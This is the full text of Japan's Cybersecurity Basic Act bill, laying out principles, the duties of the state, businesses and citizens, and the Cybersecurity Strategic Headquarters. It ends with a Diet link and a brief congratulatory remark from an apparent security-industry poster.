第一条 この法律は、インターネットその他の高度情報通信ネットワークの整備及び情報通信技術の活用の進展に伴って世界的規模で生じているサイバーセキュリティに対する脅威の深刻化その他の内外の諸情勢の変化に伴い、情報の自由な流通を確保しつつ、サイバーセキュリティの確保を図ることが喫緊の課題となっている状況に鑑み、我が国のサイバーセキュリティに関する施策に関し、基本理念を定め、国及び地方公共団体の責務等を明らかにし、並びにサイバーセキュリティ戦略の策定その他サイバーセキュリティに関する施策の基本となる事項を定めるとともに、サイバーセキュリティ戦略本部を設置すること等により、高度情報通信ネットワーク社会形成基本法(平成十二年法律第百四十四号)と相まって、サイバーセキュリティに関する施策を総合的かつ効果的に推進し、もって経済社会の活力の向上及び持続的発展並びに国民が安全で安心して暮らせる社会の実現を図るとともに、国際社会の平和及び安全の確保並びに我が国の安全保障に寄与することを目的とする。

(定義)

第二条 この法律において「サイバーセキュリティ」とは、電子的方式、磁気的方式その他人の知覚によっては認識することができない方式(以下この条において「電磁的方式」という。)により記録され、又は発信され、伝送され、若しくは受信される情報の漏えい、滅失又は毀損の防止その他の当該情報の安全管理のために必要な措置並びに情報システム及び情報通信ネットワークの安全性及び信頼性の確保のために必要な措置(情報通信ネットワーク又は電磁的方式で作られた記録に係る記録媒体(以下「電磁的記録媒体」という。)を通じた電子計算機に対する不正な活動による被害の防止のために必要な措置を含む。)が講じられ、その状態が適切に維持管理されていることをいう。

(基本理念)

第三条 サイバーセキュリティに関する施策の推進は、インターネットその他の高度情報通信ネットワークの整備及び情報通信技術の活用による情報の自由な流通の確保が、これを通じた表現の自由の享有、イノベーションの創出、経済社会の活力の向上等にとって重要であることに鑑み、サイバーセキュリティに対する脅威に対して、国、地方公共団体、重要社会基盤事業者(国民生活及び経済活動の基盤であって、その機能が停止し、又は低下した場合に国民生活又は経済活動に多大な影響を及ぼすおそれが生ずるものに関する事業を行う者をいう。以下同じ。)等の多様な主体の連携により、積極的に対応することを旨として、行われなければならない。

2 サイバーセキュリティに関する施策の推進は、国民一人一人のサイバーセキュリティに関する認識を深め、自発的に対応することを促すとともに、サイバーセキュリティに対する脅威による被害を防ぎ、かつ、被害から迅速に復旧できる強靱な体制を構築するための取組を積極的に推進することを旨として、行われなければならない。

3 サイバーセキュリティに関する施策の推進は、インターネットその他の高度情報通信ネットワークの整備及び情報通信技術の活用による活力ある経済社会を構築するための取組を積極的に推進することを旨として、行われなければならない。

4 サイバーセキュリティに関する施策の推進は、サイバーセキュリティに対する脅威への対応が国際社会にとって共通の課題であり、かつ、我が国の経済社会が国際的な密接な相互依存関係の中で営まれていることに鑑み、サイバーセキュリティに関する国際的な秩序の形成及び発展のために先導的な役割を担うことを旨として、国際的協調の下に行われなければならない。

5 サイバーセキュリティに関する施策の推進は、高度情報通信ネットワーク社会形成基本法の基本理念に配慮して行われなければならない。

6 サイバーセキュリティに関する施策の推進に当たっては、国民の権利を不当に侵害しないように留意しなければならない。

(国の責務)

第四条 国は、前条の基本理念(以下「基本理念」という。)にのっとり、サイバーセキュリティに関する総合的な施策を策定し、及び実施する責務を有する。

(地方公共団体の責務)

第五条 地方公共団体は、基本理念にのっとり、国との適切な役割分担を踏まえて、サイバーセキュリティに関する自主的な施策を策定し、及び実施する責務を有する。

(重要社会基盤事業者の責務)

第六条 重要社会基盤事業者は、基本理念にのっとり、そのサービスを安定的かつ適切に提供するため、サイバーセキュリティの重要性に関する関心と理解を深め、自主的かつ積極的にサイバーセキュリティの確保に努めるとともに、国又は地方公共団体が実施するサイバーセキュリティに関する施策に協力するよう努めるものとする。

(サイバー関連事業者その他の事業者の責務)

第七条 サイバー関連事業者(インターネットその他の高度情報通信ネットワークの整備、情報通信技術の活用又はサイバーセキュリティに関する事業を行う者をいう。以下同じ。)その他の事業者は、基本理念にのっとり、その事業活動に関し、自主的かつ積極的にサイバーセキュリティの確保に努めるとともに、国又は地方公共団体が実施するサイバーセキュリティに関する施策に協力するよう努めるものとする。

(教育研究機関の責務)

第八条 大学その他の教育研究機関は、基本理念にのっとり、自主的かつ積極的にサイバーセキュリティの確保、サイバーセキュリティに係る人材の育成並びにサイバーセキュリティに関する研究及びその成果の普及に努めるとともに、国又は地方公共団体が実施するサイバーセキュリティに関する施策に協力するよう努めるものとする。

(国民の努力)

第九条 国民は、基本理念にのっとり、サイバーセキュリティの重要性に関する関心と理解を深め、サイバーセキュリティの確保に必要な注意を払うよう努めるものとする。

(法制上の措置等)

第十条 政府は、サイバーセキュリティに関する施策を実施するため必要な法制上、財政上又は税制上の措置その他の措置を講じなければならない。

(行政組織の整備等)

第十一条 国は、サイバーセキュリティに関する施策を講ずるにつき、行政組織の整備及び行政運営の改善に努めるものとする。

第二章 サイバーセキュリティ戦略

第十二条 政府は、サイバーセキュリティに関する施策の総合的かつ効果的な推進を図るため、サイバーセキュリティに関する基本的な計画(以下「サイバーセキュリティ戦略」という。)を定めなければならない。

2 サイバーセキュリティ戦略は、次に掲げる事項について定めるものとする。

一 サイバーセキュリティに関する施策についての基本的な方針

二 国の行政機関等におけるサイバーセキュリティの確保に関する事項

三 重要社会基盤事業者及びその組織する団体並びに地方公共団体(以下「重要社会基盤事業者等」という。)におけるサイバーセキュリティの確保の促進に関する事項

四 前三号に掲げるもののほか、サイバーセキュリティに関する施策を総合的かつ効果的に推進するために必要な事項

3 内閣総理大臣は、サイバーセキュリティ戦略の案につき閣議の決定を求めなければならない。

4 政府は、サイバーセキュリティ戦略を策定したときは、遅滞なく、これを国会に報告するとともに、インターネットの利用その他適切な方法により公表しなければならない。

5 前二項の規定は、サイバーセキュリティ戦略の変更について準用する。

6 政府は、サイバーセキュリティ戦略について、その実施に要する経費に関し必要な資金の確保を図るため、毎年度、国の財政の許す範囲内で、これを予算に計上する等その円滑な実施に必要な措置を講ずるよう努めなければならない。

第三章 基本的施策

(国の行政機関等におけるサイバーセキュリティの確保)

第十三条 国は、国の行政機関、独立行政法人(独立行政法人通則法(平成十一年法律第百三号)第二条第一項に規定する独立行政法人をいう。以下同じ。)及び特殊法人(法律により直接に設立された法人又は特別の法律により特別の設立行為をもって設立された法人であって、総務省設置法(平成十一年法律第九十一号)第四条第十五号の規定の適用を受けるものをいう。以下同じ。)等におけるサイバーセキュリティに関し、国の行政機関及び独立行政法人におけるサイバーセキュリティに関する統一的な基準の策定、国の行政機関における情報システムの共同化、情報通信ネットワーク又は電磁的記録媒体を通じた国の行政機関の情報システムに対する不正な活動の監視及び分析、国の行政機関におけるサイバーセキュリティに関する演習及び訓練並びに国内外の関係機関との連携及び連絡調整によるサイバーセキュリティに対する脅威への対応、国の行政機関、独立行政法人及び特殊法人等の間におけるサイバーセキュリティに関する情報の共有その他の必要な施策を講ずるものとする。

(重要社会基盤事業者等におけるサイバーセキュリティの確保の促進)

第十四条 国は、重要社会基盤事業者等におけるサイバーセキュリティに関し、基準の策定、演習及び訓練、情報の共有その他の自主的な取組の促進その他の必要な施策を講ずるものとする。

(民間事業者及び教育研究機関等の自発的な取組の促進)

第十五条 国は、中小企業者その他の民間事業者及び大学その他の教育研究機関が有する知的財産に関する情報が我が国の国際競争力の強化にとって重要であることに鑑み、これらの者が自発的に行うサイバーセキュリティに対する取組が促進されるよう、サイバーセキュリティの重要性に関する関心と理解の増進、サイバーセキュリティに関する相談に応じ、必要な情報の提供及び助言を行うことその他の必要な施策を講ずるものとする。

2 国は、国民一人一人が自発的にサイバーセキュリティの確保に努めることが重要であることに鑑み、日常生活における電子計算機又はインターネットその他の高度情報通信ネットワークの利用に際して適切な製品又はサービスを選択することその他の取組について、サイバーセキュリティに関する相談に応じ、必要な情報の提供及び助言を行うことその他の必要な施策を講ずるものとする。

(多様な主体の連携等)

第十六条 国は、関係府省相互間の連携の強化を図るとともに、国、地方公共団体、重要社会基盤事業者、サイバー関連事業者等の多様な主体が相互に連携してサイバーセキュリティに関する施策に取り組むことができるよう必要な施策を講ずるものとする。

(犯罪の取締り及び被害の拡大の防止)

第十七条 国は、サイバーセキュリティに関する犯罪の取締り及びその被害の拡大の防止のために必要な施策を講ずるものとする。

(我が国の安全に重大な影響を及ぼすおそれのある事象への対応)

第十八条 国は、サイバーセキュリティに関する事象のうち我が国の安全に重大な影響を及ぼすおそれがあるものへの対応について、関係機関における体制の充実強化並びに関係機関相互の連携強化及び役割分担の明確化を図るために必要な施策を講ずるものとする。

(産業の振興及び国際競争力の強化)

第十九条 国は、サイバーセキュリティの確保を自立的に行う能力を我が国が有することの重要性に鑑み、サイバーセキュリティに関連する産業が雇用機会を創出することができる成長産業となるよう、新たな事業の創出並びに産業の健全な発展及び国際競争力の強化を図るため、サイバーセキュリティに関し、先端的な研究開発の推進、技術の高度化、人材の育成及び確保、競争条件の整備等による経営基盤の強化及び新たな事業の開拓、技術の安全性及び信頼性に係る規格等の国際標準化及びその相互承認の枠組みへの参画その他の必要な施策を講ずるものとする。

(研究開発の推進等)

第二十条 国は、我が国においてサイバーセキュリティに関する技術力を自立的に保持することの重要性に鑑み、サイバーセキュリティに関する研究開発及び技術等の実証の推進並びにその成果の普及を図るため、サイバーセキュリティに関し、研究体制の整備、技術の安全性及び信頼性に関する基礎研究及び基盤的技術の研究開発の推進、研究者及び技術者の育成、国の試験研究機関、大学、民間等の連携の強化、研究開発のための国際的な連携その他の必要な施策を講ずるものとする。

(人材の確保等)

第二十一条 国は、大学、高等専門学校、専修学校、民間事業者等と緊密な連携協力を図りながら、サイバーセキュリティに係る事務に従事する者の職務及び職場環境がその重要性にふさわしい魅力あるものとなるよう、当該者の適切な処遇の確保に必要な施策を講ずるものとする。

2 国は、大学、高等専門学校、専修学校、民間事業者等と緊密な連携協力を図りながら、サイバーセキュリティに係る人材の確保、養成及び資質の向上のため、資格制度の活用、若年技術者の養成その他の必要な施策を講ずるものとする。

(教育及び学習の振興、普及啓発等)

第二十二条 国は、国民が広くサイバーセキュリティに関する関心と理解を深めるよう、サイバーセキュリティに関する教育及び学習の振興、啓発及び知識の普及その他の必要な施策を講ずるものとする。

2 国は、前項の施策の推進に資するよう、サイバーセキュリティに関する啓発及び知識の普及を図るための行事の実施、重点的かつ効果的にサイバーセキュリティに対する取組を推進するための期間の指定その他の必要な施策を講ずるものとする。

(国際協力の推進等)

第二十三条 国は、サイバーセキュリティに関する分野において、我が国の国際社会における役割を積極的に果たすとともに、国際社会における我が国の利益を増進するため、サイバーセキュリティに関し、国際的な規範の策定への主体的な参画、国際間における信頼関係の構築及び情報の共有の推進、開発途上地域のサイバーセキュリティに関する対応能力の構築の積極的な支援その他の国際的な技術協力、犯罪の取締りその他の国際協力を推進するとともに、我が国のサイバーセキュリティに対する諸外国の理解を深めるために必要な施策を講ずるものとする。

第四章 サイバーセキュリティ戦略本部

(設置)

第二十四条 サイバーセキュリティに関する施策を総合的かつ効果的に推進するため、内閣に、サイバーセキュリティ戦略本部(以下「本部」という。)を置く。

(所掌事務等)

第二十五条 本部は、次に掲げる事務をつかさどる。

一 サイバーセキュリティ戦略の案の作成及び実施の推進に関すること。

二 国の行政機関及び独立行政法人におけるサイバーセキュリティに関する対策の基準の作成及び当該基準に基づく施策の評価(監査を含む。)その他の当該基準に基づく施策の実施の推進に関すること。

三 国の行政機関で発生したサイバーセキュリティに関する重大な事象に対する施策の評価(原因究明のための調査を含む。)に関すること。

四 前三号に掲げるもののほか、サイバーセキュリティに関する施策で重要なものの企画に関する調査審議、府省横断的な計画、関係行政機関の経費の見積りの方針及び施策の実施に関する指針の作成並びに施策の評価その他の当該施策の実施の推進並びに総合調整に関すること。

2 本部は、サイバーセキュリティ戦略の案を作成しようとするときは、あらかじめ、高度情報通信ネットワーク社会推進戦略本部及び国家安全保障会議の意見を聴かなければならない。

3 本部は、サイバーセキュリティに関する重要事項について、高度情報通信ネットワーク社会推進戦略本部との緊密な連携を図るものとする。

4 本部は、我が国の安全保障に係るサイバーセキュリティに関する重要事項について、国家安全保障会議との緊密な連携を図るものとする。

(組織)

第二十六条 本部は、サイバーセキュリティ戦略本部長、サイバーセキュリティ戦略副本部長及びサイバーセキュリティ戦略本部員をもって組織する。

(サイバーセキュリティ戦略本部長)

第二十七条 本部の長は、サイバーセキュリティ戦略本部長(以下「本部長」という。)とし、内閣官房長官をもって充てる。

2 本部長は、本部の事務を総括し、所部の職員を指揮監督する。

3 本部長は、第二十五条第一項第二号から第四号までに規定する評価又は第三十条若しくは第三十一条の規定により提供された資料、情報等に基づき、必要があると認めるときは、関係行政機関の長に対し、勧告することができる。

4 本部長は、前項の規定により関係行政機関の長に対し勧告したときは、当該関係行政機関の長に対し、その勧告に基づいてとった措置について報告を求めることができる。

5 本部長は、第三項の規定により勧告した事項に関し特に必要があると認めるときは、内閣総理大臣に対し、当該事項について内閣法(昭和二十二年法律第五号)第六条の規定による措置がとられるよう意見を具申することができる。

(サイバーセキュリティ戦略副本部長)

第二十八条 本部に、サイバーセキュリティ戦略副本部長(以下「副本部長」という。)を置き、国務大臣をもって充てる。

2 副本部長は、本部長の職務を助ける。

(サイバーセキュリティ戦略本部員)

第二十九条 本部に、サイバーセキュリティ戦略本部員(次項において「本部員」という。)を置く。

2 本部員は、次に掲げる者(第一号から第五号までに掲げる者にあっては、副本部長に充てられたものを除く。)をもって充てる。

一 国家公安委員会委員長

二 総務大臣

三 外務大臣

四 経済産業大臣

五 防衛大臣

六 前各号に掲げる者のほか、本部長及び副本部長以外の国務大臣のうちから、本部の所掌事務を遂行するために特に必要があると認める者として内閣総理大臣が指定する者

七 サイバーセキュリティに関し優れた識見を有する者のうちから、内閣総理大臣が任命する者

(資料提供等)

第三十条 関係行政機関の長は、本部の定めるところにより、本部に対し、サイバーセキュリティに関する資料又は情報であって、本部の所掌事務の遂行に資するものを、適時に提供しなければならない。

2 前項に定めるもののほか、関係行政機関の長は、本部長の求めに応じて、本部に対し、本部の所掌事務の遂行に必要なサイバーセキュリティに関する資料又は情報の提供及び説明その他必要な協力を行わなければならない。

(資料の提出その他の協力)

第三十一条 本部は、その所掌事務を遂行するため必要があると認めるときは、地方公共団体及び独立行政法人の長、国立大学法人(国立大学法人法(平成十五年法律第百十二号)第二条第一項に規定する国立大学法人をいう。)の学長、大学共同利用機関法人(同条第三項に規定する大学共同利用機関法人をいう。)の機構長、日本司法支援センター(総合法律支援法(平成十六年法律第七十四号)第十三条に規定する日本司法支援センターをいう。)の理事長、特殊法人及び認可法人(特別の法律により設立され、かつ、その設立等に関し行政官庁の認可を要する法人をいう。)であって本部が指定するものの代表者並びにサイバーセキュリティに関する事象が発生した場合における国内外の関係者との連絡調整を行う関係機関の代表者に対して、資料の提出、意見の開陳、説明その他必要な協力を求めることができる。

2 本部は、その所掌事務を遂行するため特に必要があると認めるときは、前項に規定する者以外の者に対しても、必要な協力を依頼することができる。

(地方公共団体への協力)

第三十二条 地方公共団体は、第五条に規定する施策の策定又は実施のために必要があると認めるときは、本部に対し、情報の提供その他の協力を求めることができる。

2 本部は、前項の規定による協力を求められたときは、その求めに応じるよう努めるものとする。

(事務)

第三十三条 本部に関する事務は、内閣官房において処理し、命を受けて内閣官房副長官補が掌理する。

(主任の大臣)

第三十四条 本部に係る事項については、内閣法にいう主任の大臣は、内閣総理大臣とする。

(政令への委任)

第三十五条 この法律に定めるもののほか、本部に関し必要な事項は、政令で定める。

附 則

(施行期日)

第一条 この法律は、公布の日から施行する。ただし、第二章及び第四章の規定並びに附則第四条の規定は、公布の日から起算して一年を超えない範囲内において政令で定める日から施行する。

(本部に関する事務の処理を適切に内閣官房に行わせるために必要な法制の整備等)

第二条 政府は、本部に関する事務の処理を適切に内閣官房に行わせるために必要な法制の整備(内閣総理大臣の決定により内閣官房に置かれる情報セキュリティセンターの法制化を含む。)その他の措置を講ずるものとする。

2 政府は、前項の措置を講ずるに当たっては、専門的知識を有する者を内閣官房において任期を定めて職員又は研究員として任用すること、情報通信ネットワーク又は電磁的記録媒体を通じた国の行政機関の情報システムに対する不正な活動の監視及び分析並びにサイバーセキュリティに関する事象に関する国内外の関係機関との連絡調整に必要な機材及び人的体制の整備等のために必要な法制上及び財政上の措置等について検討を加え、その結果に基づいて必要な措置を講ずるものとする。

(検討)

第三条 政府は、武力攻撃事態等における我が国の平和と独立並びに国及び国民の安全の確保に関する法律(平成十五年法律第七十九号)第二十四条第一項に規定する緊急事態に相当するサイバーセキュリティに関する事象その他の情報通信ネットワーク又は電磁的記録媒体を通じた電子計算機に対する不正な活動から、国民生活及び経済活動の基盤であって、その機能が停止し、又は低下した場合に国民生活又は経済活動に多大な影響を及ぼすおそれが生ずるもの等を防御する能力の一層の強化を図るための施策について、幅広い観点から検討するものとする。

(高度情報通信ネットワーク社会形成基本法の一部改正)

第四条 高度情報通信ネットワーク社会形成基本法の一部を次のように改正する。

第二十六条第一項中「事務」の下に「(サイバーセキュリティ基本法(平成二十六年法律第▼▼▼号)第二十五条第一項に掲げる事務のうちサイバーセキュリティに関する施策で重要なものの実施の推進に関するものを除く。)」を加える。

 

理 由

サイバーセキュリティに関する施策を総合的かつ効果的に推進するため、サイバーセキュリティに関し、基本理念を定め、国の責務等を明らかにし、及びサイバーセキュリティ戦略の策定その他サイバーセキュリティに関する施策の基本となる事項を定めるとともに、サイバーセキュリティ戦略本部を設置する等の必要がある。これが、この法律案を提出する理由である。

http://www.shugiin.go.jp/internet/itdb_gian.nsf/html/gian/honbun/houan/g18601035.htm

また我々としても、海外展開が非常に活況であることから、各国の政策なども要望等に組み込み、真のセキュリティ国家構築の為粉骨砕身その身を捧げる覚悟である。なにはともあれオメデトウございます。